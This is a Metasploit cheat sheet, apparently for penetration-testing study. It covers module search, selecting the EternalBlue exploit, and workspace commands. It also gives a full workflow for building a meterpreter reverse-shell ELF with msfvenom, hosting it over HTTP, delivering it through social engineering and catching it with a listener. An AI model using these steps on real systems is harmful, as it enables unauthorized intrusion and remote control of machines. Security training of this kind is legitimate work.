🎯 Metasploit Framework Guide

🚀 Getting Started

To start Metasploit Console:

```
msfconsole
```

🔧 Basic Commands

Navigation & Help

- `ls` - List files in current directory
- `ping 8.8.8.8` - Test network connectivity
- `help set` - Get help on specific commands
- `history` - View command history
- `back` - Return to previous context

Information Gathering

- `info` - Display module information
- `info -d` - Display detailed module information
- `show options` - Show module options
- `show payloads` - Display available payloads

🔍 Search & Module Selection

Search Commands

```
search ms17-010                   # Search for specific exploit
search type:auxiliary telnet      # Search by type and service
search apache                     # Search by keyword
search portscan/NetBIOS/smb_login # Search for specific services
```

Using Modules

```
use exploit/windows/smb/ms17_010_eternalblue  # Select exploit module
use 5                                         # Select by number
use 6                                         # Quick selection
```

⚙️ Configuration & Parameters

Setting Targets

```
set RHOST <ip>              # Set target IP address
set RHOST <file>            # Set multiple targets from file
```

⚠️ **Note:** Parameters reset when switching modules unless using `setg`

Parameter Management

- `unset <parameter>` - Unset specific parameter
- `unset all` - Unset all parameters
- `setg <parameter>` - Set global parameter (persists across modules)
- `unsetg <parameter>` - Unset global parameter

🗃️ Database & Workspace Management

Database Operations

```
workspace           # Manage workspaces
db_status          # Check database connection status
db_nmap            # Run nmap and store results in database
```

💡 **Tip:** Using `db_nmap` automatically stores scan results in the database for later analysis

Nmap Integration

You can use nmap directly within Metasploit for reconnaissance.

📦 Session Management

```
session             # Display active sessions
exploit -j          # Run exploit in background (job mode)
```

🐧 Creating Linux Payloads

Step 1: Generate Payload

```
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=10.17.54.192 \
  LPORT=4444 \
  -f elf > shell.elf
```

💡 **Tip:** Change payload type according to your requirements

Step 2: Deliver Payload

- Run a Python HTTP server to host the payload
- Use social engineering techniques to deliver to target

```
python3 -m http.server 8000
```

Step 3: Setup Listener

```
search multi/handler           # Search for handler
use <handler_module>          # Select handler
set payload <payload_type>    # Set matching payload
set LHOST <your_ip>          # Set listener IP
set LPORT <your_port>        # Set listener port
exploit                       # Start listening
```

🎯 Quick Reference

Command	Description
`exploit`	Run the exploit
`exploit -j`	Run exploit in background
`sessions`	View active sessions
`back`	Exit current module
`setg`	Set global parameter
`db_nmap`	Nmap with database storage

📌 Important Notes

- ⚠️ Parameters are reset when changing modules (use `setg` for persistence)
- 🔄 Background jobs can be managed with `sessions` command
- 💾 Use `db_nmap` to automatically store reconnaissance data
- 🎭 Always customize payloads based on target requirements

Created for penetration testing and security research purposes only. Always ensure proper authorization before testing.